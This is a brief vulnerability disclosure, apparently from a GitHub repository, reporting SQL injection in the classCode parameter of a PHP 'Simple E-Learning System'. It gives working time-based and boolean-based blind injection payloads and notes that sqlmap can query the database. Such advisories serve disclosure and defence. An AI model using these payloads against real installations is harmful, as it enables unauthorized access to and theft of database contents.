xtxxueyan Update SQLi-1.md History

1 contributor

23 lines (13 sloc) | 847 Bytes

Simple E-Learning System by oretnom23 has SQL injection

BUG_Author：xtxxueyan

vendors: https://www.sourcecodester.com/php-simple-e-learning-system-source-code

Vulnerability File: /vcs/classRoom.php?classCode=

Vulnerability location: /vcs/classRoom.php?classCode=, classCode

dbname = vcs_db

time-based blind

Payload: /vcs/classRoom.php?classCode=-9082' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,sleep(5),NULL-- - // Leak place ---> classCode

boolean-based blind

Payload: /vcs/classRoom.php?classCode=class101_a' AND 6907=6907 AND 'TSIZ'='TSIZ // Leak place ---> classCode

Payload: /vcs/classRoom.php?classCode=class101_a' AND 6907=6907 AND 'TSIZ'='TSIQ //
Leak place ---> classCode

sqlmap can inject it，can query the database in use now